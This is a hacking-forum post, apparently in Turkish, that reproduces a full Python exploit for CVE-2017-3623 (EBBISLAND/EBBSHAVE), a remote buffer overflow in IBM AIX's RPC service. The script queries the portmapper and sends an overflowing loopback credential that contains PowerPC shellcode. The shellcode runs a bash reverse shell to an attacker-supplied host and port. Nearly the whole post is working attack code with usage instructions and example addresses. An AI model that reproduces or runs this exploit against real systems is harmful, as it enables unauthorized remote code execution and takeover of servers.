Hoşgeldin Misafir

EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow Exploit

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow Exploit--


Kod:
# Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.ibm.com/us-en/
# Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642
# Tested on: IBM AIX PPC
# CVE: CVE-2017-3623
# EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC
 
 
#!/usr/bin/python
# Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc
 
# Exploit code example; shellcode requires /usr/bin/bash on the target
 
# Example values for my AIX 7.2 LPAR:
# gid_base: 3007d390
# execl_func: d0307940
# execl_toc: f081bc20
 
# CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled
 
from os import urandom
from socket import socket, AF_INET, SOCK_STREAM
from struct import pack, unpack
from sys import argv, exit
from time import time, sleep
 
def getCredLoopbackBody():
        global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc
 
        epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target
 
        # Doesn't matter, ljust call assumes len <= 4
        node_name = 'hn'
        node_length = pack('>I', len(node_name))
        node_name = node_name.ljust(4, '\x00')
 
        # Also doesn't matter
        uid = pack('>I', 0)
        gid = pack('>I', 0)
 
        # Big enough to trigger an overflow
        # Not big enough to trigger defensive code
        # You could make this a little bit less,
        # but you'd have to tweak the part 2 code
        gids_len = pack('>I', 64)
 
        base_addr = pack('>I', gid_base)
        addr_8c = pack('>I', gid_base + 0x8c)
        addr_a8 = pack('>I', gid_base + 0xa8)
        addr_4c = pack('>I', gid_base + 0x4c)
 
        func_addr = pack('>I', execl_func)
        toc_addr = pack('>I', execl_toc)
 
        cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'
        cmd = cmd.ljust(0x30, '\x00')
 
        # Each GID is 4 bytes long, we want 64
        gids = (
                # +0x0 # filepath
                '/usr/bin/bash\x00\x00\x00'
 
                # +0x10 # argv[0]
                'bash\x00\x00\x00\x00'
 
                # +0x18 # argv[1]
                '-c\x00\x00'
 
                # +0x1c # argv[2]
        ) + cmd + (
 
                # +0x4c # r3 = filepath
                '\x70\x63\x00\x00' # andi. r3, r3, 0x0
                '\x3c\x60'
        ) + base_addr[0:2] + ( # lis r3, ...
                '\x60\x63'
        ) + base_addr[2:4] + ( # ori r3, r3, ...
 
                # +0x58 # r4 = argv[0]
                '\x38\x83\x00\x10' # addi r4, r3, 0x10
 
                # +0x5c # r5 = argv[1]
                '\x38\xa4\x00\x08' # addi r5, r4, 0x8
 
                # +0x60 # r6 = argv[2]
                '\x38\xc5\x00\x04' # addi r6, r5, 0x4
 
                # +0x64 # r7 = NULL
                '\x70\xe7\x00\x00' # andi. r7, r7, 0x0
 
                # +0x68 # r2 = libc.a TOC for execl
                '\x70\x42\x00\x00' # andi. r2, r2, 0x0
                '\x3c\x40'
        ) + toc_addr[0:2] + ( # lis r2, ...
                '\x60\x42'
        ) + toc_addr[2:4] + ( # ori r2, r2, ...
 
                # +0x74 # execl
                '\x71\x08\x00\x00' # andi. r8, r8, 0x0
                '\x3d\x00'
        ) + func_addr[0:2] + ( # lis r8, ...
                '\x61\x08'
        ) + func_addr[2:4] + ( # ori r8, ...
                '\x7d\x09\x03\xa6' # mtctr r8
                '\x4e\x80\x04\x21' # bctrl
 
                # +0x88 # 0x14 padding
                'AAAAAAAAAAAAAAAAAAAA'
 
                # +0x9c # Will be NULL
                'ZZZZ'
 
                # +0xa0
                # @+948: r5 = +0x8c
                # @+968: r5 = *(+0x8c + 0x18) = *(+0xa4)
 
                # +0xa4
                # @+968: r5 = +0xa8
                # @+972: r0 = *(r5 + 0x0) = *(+0xa8)
 
                # +0xa8
                # @+972: r0 = +0x4c
                # @+980: ctr = r0 = +0x4c
                # @+988: branch to ctr
        ) + addr_8c + addr_a8 + addr_4c + (
 
                # +0xac # padding
                'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
        )
 
        print ":".join("{:02x}".format(ord(c)) for c in gids)
        print len(gids)
 
        return epoch + node_length + node_name + uid + gid + gids_len + gids
 
def getCredLoopback():
        cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK
 
        cred_body = getCredLoopbackBody()
        cred_len = pack('>I', len(cred_body))
 
        return cred_flavor + cred_len + cred_body
 
def getAuthNone():
        auth_flavor = pack('>I', 0) # AUTH_NONE
 
        auth_len = pack('>I', 0)
 
        return auth_flavor + auth_len
 
def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):
        xid = urandom(4)
 
        mtype = pack('>I', 0) # CALL
 
        rpcvers = pack('>I', 2)
 
        prog = pack('>I', prog_num)
        vers = pack('>I', ver_num)
 
        proc = pack('>I', proc_num)
 
        cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )
 
        verf = getAuthNone()
 
        return xid + mtype + rpcvers + prog + vers + proc + cred + verf
 
def getPacket(message):
        # MSB on = this is the last fragment
        # LSBs = fragment length
        frag = pack('>I', len(message) + 0x80000000)
 
        return frag + message
 
if len(argv) < 7:
        print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'
        exit(1)
 
rhost = argv[1]
lhost = argv[2]
lport = argv[3]
gid_base = int(argv[4], 16)
execl_func = int(argv[5], 16)
execl_toc = int(argv[6], 16)
 
# Query the portmapper for services
 
services = []
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, 111)) # port 111 for portmapper
s.send(getPacket(getMessage(
        100000, # portmapper
        2,      # version 2
        4,      # DUMP
        False   # unauth request
        )))
 
s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state
 
while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true
        prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))
        if (prog_num == 100024 # status
                and proto_num == 6): # TCP
                        print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)
                        services.append((prog_num, ver_num, port))
 
s.close()
 
# Try attacking
 
for service in services:
        prog_num, ver_num, port = service
 
        serv_str = str(prog_num) + ' v' + str(ver_num)
 
        for attack in [False, True]:
                sleep(1) # be gentle
 
                print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str
 
                s = socket(AF_INET, SOCK_STREAM)
                s.connect((rhost, port))
 
                resp_len = 0
 
                s.send(getPacket(getMessage(
                        prog_num,
                        ver_num,
                        0,      # NULL, acts like a ping
                        attack
                        )))
 
                s.settimeout(5) # give inetd/... a chance to spin up the service if needed
 
                try:
                        resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes
                except:
                        resp_len = 0 # typically either timeout, connection error, or Ctrl+C
 
                try:
                        s.close() # try closing the connection if it isn't already dead
                except:
                        pass # connection is probably already dead
 
                print '[ ] Got response length ' + str(resp_len)
 
                if resp_len == 0: # suspect the service either timed out or crashed
                        if attack:
                                print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'
                        else:
                                print '[-] Service probably down or otherwise misbehaving, skipping...'
                                break
 
#  0day.today [2020-01-10]  #